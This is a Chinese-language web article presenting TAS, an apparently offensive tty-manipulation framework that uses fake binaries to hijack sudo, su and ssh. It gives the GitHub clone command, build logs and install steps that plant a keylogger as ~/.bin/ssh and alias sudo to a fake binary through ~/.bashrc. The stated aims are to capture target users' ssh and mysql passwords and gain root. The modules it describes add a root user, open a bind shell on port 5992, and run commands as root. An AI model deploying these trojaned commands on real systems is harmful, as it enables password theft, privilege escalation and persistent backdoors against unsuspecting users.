您好,登錄后才能下訂單哦!
這篇文章主要介紹TAS中一款輕量級(jí)tty修改與代碼偽造框架的示例分析,文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!
TAS是一款輕量級(jí)框架,在它的幫助下,研究人員可以輕松修改tty并創(chuàng)建偽造的代碼。
該框架擁有三個(gè)主要函數(shù),即tas_execv、tas_forkpty和tas_tty_loop:
1、tas_execv:這個(gè)函數(shù)的作用跟execv類似,但是它并不會(huì)重新執(zhí)行當(dāng)前代碼,這對(duì)于創(chuàng)建偽造代碼來說非常有用;
2、tas_forkpty:這個(gè)函數(shù)跟forkpty一樣,不過它會(huì)自動(dòng)填充自定義結(jié)構(gòu)體,檢查forkpty操作頁(yè)并獲取詳細(xì)信息;
3、tas_tty_loop:這個(gè)函數(shù)負(fù)責(zé)對(duì)tty進(jìn)行修改操作,我們可以針對(duì)輸入和輸出數(shù)據(jù)設(shè)置鉤子函數(shù),這樣就可以獲取到用戶輸入的擊鍵數(shù)據(jù)或修改終端輸出結(jié)果(leet-shell)。
如果你需要深入了解TAS的工作機(jī)制,可以通過查看本項(xiàng)目的“tas/fakebins/fun”目錄以獲取更多信息。
通過修改PATH環(huán)境變量,或使用Bash的Aliases(或其他支持Aliases的Shell),你就可以直接運(yùn)行其他程序,而無需運(yùn)行用戶真正要運(yùn)行的那個(gè)程序。這樣一來,我們就可以捕捉到目標(biāo)用戶的鍵盤擊鍵數(shù)據(jù),并修改命令行來改變?cè)汲绦虻男袨椤?/p>
修改某些程序的命令行,例如sudo和su,將會(huì)幫助我們?cè)谀繕?biāo)設(shè)備上實(shí)現(xiàn)提權(quán)。
為了方便大家理解和使用TAS,我專門創(chuàng)建了三個(gè)示例程序來演示該框架的功能,即sudo、su和generic-keylogger。
generic-keylogger,正如其名字所示,它可以被當(dāng)作鍵盤記錄器來使用,而我們?cè)谶@里主要利用它來獲取類似ssh和mysql這類程序的密碼。
當(dāng)然了,它也可以被當(dāng)作鍵盤記錄器來使用,或者你也能夠以root權(quán)限來運(yùn)行某些功能模塊(通過修改命令行)。
Cmd修改步驟
首先,目標(biāo)用戶輸入并運(yùn)行下列命令:
sudo cmd
此時(shí),實(shí)際運(yùn)行的命令如下:
fakesudo cmd
其中,fakesudo將會(huì)執(zhí)行下列命令:
sudo fakesudo cmd
以root權(quán)限運(yùn)行上述命令之后,fakesudo將會(huì)創(chuàng)建一個(gè)子進(jìn)程來執(zhí)行其中的部分功能模塊,并且在進(jìn)程的主PID中,它會(huì)運(yùn)行原始命令。注意,如果用戶運(yùn)行的命令是sudo cmd [args]的話,fakesudo才會(huì)修改命令,如果添加了額外的命令運(yùn)行參數(shù),那么命令將無法被修改。
如果使用的是su,那么情況跟sudo的差不多。
首先,目標(biāo)用戶輸入并運(yùn)行下列命令:
Su -
此時(shí),實(shí)際運(yùn)行的命令如下:
fakesu -
其中,fakesudo將會(huì)執(zhí)行下列命令:
su - -c fakesu
以root權(quán)限運(yùn)行上述命令之后,fakesu將會(huì)創(chuàng)建一個(gè)子進(jìn)程來執(zhí)行其中的部分功能模塊,并且在進(jìn)程的主PID中,它會(huì)運(yùn)行bash -i命令。
注意:只有當(dāng)用戶運(yùn)行su或su -時(shí),fakesu才會(huì)修改命令,如果如果添加了額外的命令運(yùn)行參數(shù),那么命令將無法被修改。
目前,該工具只有下列三個(gè)功能模塊:
1、add-root-user:使用/etc/passwd中的密碼創(chuàng)建一個(gè)root用戶;
2、bind-shell:監(jiān)聽傳入的連接,并生成一個(gè)tty shell;
3、system:以root權(quán)限執(zhí)行命令;
廣大研究人員可以使用下列命令將項(xiàng)目源碼克隆至本地:
git clone https://github.com/hc0d3r/tas.git
首先,我們需要構(gòu)建項(xiàng)目基庫(kù):
$ make CC .obj/globals.o CC .obj/getinode.o CC .obj/tas-execv.o CC .obj/tty.o CC .obj/xreadlink.o AR .obj/libtas.a
接下來,我們還需要運(yùn)行下列命令構(gòu)建sudo、su和generic-keylogger:
make [target-bin]
構(gòu)建樣例:
$ make su make[1]: Entering directory '/home/test/tas/fakebins/su'[+] configuring fakesu ...enable keylogger? [y/N] y number of lines to record [empty = store all]: logfile (default: /tmp/.keys.txt): use some FUN modules? [y/N] n [+] configuration file created in /home/test/tas/fakebins/su/config.h CC su make[1]: Leaving directory '/home/test/tas/fakebins/su'
編譯:
$ make generic-keylogger make[1]: Entering directory '/home/test/tas/fakebins/generic-keylogger'[+] configuring generic-keylogger ... number of lines to record [empty = store all]: 3 logfile (default: /tmp/.keys.txt): [+] configuration file created in /home/test/tas/fakebins/generic-keylogger/config.h CC generic-keylogger make[1]: Leaving directory '/home/test/tas/fakebins/generic-keylogger'
安裝:
$ mkdir ~/.bin $ cp generic-keylogger ~/.bin/ssh $ echo "alias ssh='$HOME/.bin/ssh'" >> ~/.bashrc
演示:
編譯:
make[1]: Entering directory '/home/test/tas/fakebins/sudo'[+] configuring fakesudo ...enable keylogger? [y/N] n use some FUN modules? [y/N] y [1] add-root-user [2] bind-shell [3] system [4] cancel> 2 listen port (Default: 1337): 5992 [+] configuration file created in /home/test/tas/fakebins/sudo/config.h CC sudo make[1]: Leaving directory '/home/test/tas/fakebins/sudo'
安裝:
$ cp sudo ~/.sudo $ echo "alias sudo='$HOME/.sudo'" >> ~/.bashrc
演示:
在leet-shell這個(gè)使用樣例中,你可以修改tty輸出,它將允許你使用bash(類似1337 h5x0r):
[test@alfheim tas]$ make fun/leet-shell CC fun/leet-shell [t3st@alfheim tas]$ fun/leet-shell SP4WN1NG L33T SH3LL H3R3 !!![t3st@4lfh41m t4s]$ 3ch0 'l33t sh4ll 1s l33t !!!'l33t sh4ll 1s l33t !!!
以上是“TAS中一款輕量級(jí)tty修改與代碼偽造框架的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。